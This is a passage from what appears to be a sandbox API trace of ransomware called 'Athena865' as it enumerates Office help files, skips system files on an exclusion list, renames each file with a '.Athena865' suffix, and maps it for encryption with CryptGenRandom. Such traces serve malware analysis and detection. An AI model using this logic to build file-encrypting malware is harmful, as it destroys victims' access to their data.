lpString1=0x241e8a8, lpString2="VISIO_COL.HXC" | out: lpString1="VISIO_COL.HXC") returned="VISIO_COL.HXC" [0147.882] lstrlenW (lpString="VISIO_COL.HXC") returned 13 [0147.882] lstrlenW (lpString="Athena865") returned 9 [0147.882] lstrcmpiW (lpString1="O_COL.HXC", lpString2="Athena865") returned 1 [0147.882] lstrlenW (lpString=".dll") returned 4 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2=".dll") returned 1 [0147.882] lstrlenW (lpString=".lnk") returned 4 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2=".lnk") returned 1 [0147.882] lstrlenW (lpString=".ini") returned 4 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2=".ini") returned 1 [0147.882] lstrlenW (lpString=".sys") returned 4 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2=".sys") returned 1 [0147.882] lstrlenW (lpString="VISIO_COL.HXC") returned 13 [0147.882] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.Athena865") returned 71 [0147.883] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.athena865"), dwFlags=0x1) returned 1 [0147.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.890] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=621) returned 1 [0147.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0147.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0147.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0147.890] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.891] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.891] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.891] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x570, lpName=0x0) returned 0x154 [0147.893] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x570) returned 0x100000 [0147.893] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.894] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.894] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0147.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0147.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0147.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0147.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0147.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0147.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0147.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0147.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0147.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0147.895] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0147.895] CloseHandle (hObject=0x154) returned 1 [0147.895] CloseHandle (hObject=0x17c) returned 1 [0147.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0147.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0147.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0147.895] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3b8d00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f3b8d00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_COL.HXT", cAlternateFileName="VISIO_~1.HXT")) returned 1 [0147.898] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.898] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.898] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2=".") returned 1 [0147.898] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2="..") returned 1 [0147.898] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2="windows") returned -1 [0147.898] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2="bootmgr") returned 1 [0147.898] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2="temp") returned 1 [0147.898] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2="pagefile.sys") returned 1 [0147.899] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2="boot") returned 1 [0147.899] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2="ids.txt") returned 1 [0147.899] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2="ntuser.dat") returned 1 [0147.899] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2="perflogs") returned 1 [0147.899] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2="MSBuild") returned 1 [0147.899] lstrlenW (lpString="VISIO_COL.HXT") returned 13 [0147.899] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO_COL.HXT" | out: lpString1="VISIO_COL.HXT") returned="VISIO_COL.HXT" [0147.899] lstrlenW (lpString="VISIO_COL.HXT") returned 13 [0147.899] lstrlenW (lpString="Athena865") returned 9 [0147.899] lstrcmpiW (lpString1="O_COL.HXT", lpString2="Athena865") returned 1 [0147.899] lstrlenW (lpString=".dll") returned 4 [0147.899] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2=".dll") returned 1 [0147.899] lstrlenW (lpString=".lnk") returned 4 [0147.899] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2=".lnk") returned 1 [0147.899] lstrlenW (lpString=".ini") returned 4 [0147.899] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2=".ini") returned 1 [0147.899] lstrlenW (lpString=".sys") returned 4 [0147.899] lstrcmpiW (lpString1="VISIO_COL.HXT", lpString2=".sys") returned 1 [0147.899] lstrlenW (lpString="VISIO_COL.HXT") returned 13 [0147.899] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.Athena865") returned 71 [0147.899] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.athena865"), dwFlags=0x1) returned 1 [0147.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.901] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=205) returned 1 [0147.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0147.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0147.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0147.902] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.902] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.902] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.902] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x154 [0147.906] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0147.906] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.907] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.907] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0147.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0147.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0147.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0147.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0147.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0147.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0147.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0147.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0147.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0147.908] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0147.908] CloseHandle (hObject=0x154) returned 1 [0147.908] CloseHandle (hObject=0x17c) returned 1 [0147.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0147.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0147.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0147.908] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3b8d00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f3b8d00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_F_COL.HXK", cAlternateFileName="VISIO_~1.HXK")) returned 1 [0147.908] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.908] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.908] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2=".") returned 1 [0147.908] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2="..") returned 1 [0147.908] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2="windows") returned -1 [0147.908] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2="bootmgr") returned 1 [0147.909] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2="temp") returned 1 [0147.909] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2="pagefile.sys") returned 1 [0147.909] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2="boot") returned 1 [0147.909] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2="ids.txt") returned 1 [0147.909] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0147.909] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2="perflogs") returned 1 [0147.909] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2="MSBuild") returned 1 [0147.909] lstrlenW (lpString="VISIO_F_COL.HXK") returned 15 [0147.909] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO_F_COL.HXK" | out: lpString1="VISIO_F_COL.HXK") returned="VISIO_F_COL.HXK" [0147.909] lstrlenW (lpString="VISIO_F_COL.HXK") returned 15 [0147.909] lstrlenW (lpString="Athena865") returned 9 [0147.909] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0147.909] lstrlenW (lpString=".dll") returned 4 [0147.909] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2=".dll") returned 1 [0147.909] lstrlenW (lpString=".lnk") returned 4 [0147.909] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2=".lnk") returned 1 [0147.909] lstrlenW (lpString=".ini") returned 4 [0147.909] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2=".ini") returned 1 [0147.909] lstrlenW (lpString=".sys") returned 4 [0147.909] lstrcmpiW (lpString1="VISIO_F_COL.HXK", lpString2=".sys") returned 1 [0147.909] lstrlenW (lpString="VISIO_F_COL.HXK") returned 15 [0147.909] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.Athena865") returned 73 [0147.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0147.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.911] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0147.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0147.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0147.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0147.911] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.912] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.912] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.912] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0147.914] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0147.915] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.915] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.915] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0147.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0147.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0147.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0147.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0147.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0147.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0147.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0147.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0147.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0147.916] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0147.916] CloseHandle (hObject=0x154) returned 1 [0147.916] CloseHandle (hObject=0x17c) returned 1 [0147.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0147.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0147.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0147.917] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3b8d00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f3b8d00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_K_COL.HXK", cAlternateFileName="VISIO_~2.HXK")) returned 1 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2=".") returned 1 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2="..") returned 1 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2="windows") returned -1 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2="bootmgr") returned 1 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2="temp") returned 1 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2="pagefile.sys") returned 1 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2="boot") returned 1 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2="ids.txt") returned 1 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2="perflogs") returned 1 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2="MSBuild") returned 1 [0147.917] lstrlenW (lpString="VISIO_K_COL.HXK") returned 15 [0147.917] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO_K_COL.HXK" | out: lpString1="VISIO_K_COL.HXK") returned="VISIO_K_COL.HXK" [0147.917] lstrlenW (lpString="VISIO_K_COL.HXK") returned 15 [0147.917] lstrlenW (lpString="Athena865") returned 9 [0147.917] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0147.917] lstrlenW (lpString=".dll") returned 4 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2=".dll") returned 1 [0147.917] lstrlenW (lpString=".lnk") returned 4 [0147.917] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2=".lnk") returned 1 [0147.917] lstrlenW (lpString=".ini") returned 4 [0147.918] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2=".ini") returned 1 [0147.918] lstrlenW (lpString=".sys") returned 4 [0147.918] lstrcmpiW (lpString1="VISIO_K_COL.HXK", lpString2=".sys") returned 1 [0147.918] lstrlenW (lpString="VISIO_K_COL.HXK") returned 15 [0147.918] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.Athena865") returned 73 [0147.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0147.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.920] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0147.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0147.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0147.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0147.920] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.921] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.921] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.921] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0147.923] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0147.924] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.924] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.924] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0147.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0147.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0147.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0147.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0147.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0147.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0147.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0147.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0147.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0147.925] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0147.925] CloseHandle (hObject=0x154) returned 1 [0147.925] CloseHandle (hObject=0x17c) returned 1 [0147.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0147.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0147.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0147.926] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe62b3700, ftCreationTime.dwHighDateTime=0x1ca5009, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe62b3700, ftLastWriteTime.dwHighDateTime=0x1ca5009, nFileSizeHigh=0x0, nFileSizeLow=0x22e780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_PRM.HXS", cAlternateFileName="VISIO_~1.HXS")) returned 1 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2=".") returned 1 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2="..") returned 1 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2="windows") returned -1 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2="bootmgr") returned 1 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2="temp") returned 1 [0147.926] lstrcmpiW (lpString1="VISIO_PRM.HXS", lpString2="pagefile.sys") returned 1 [0147.926] 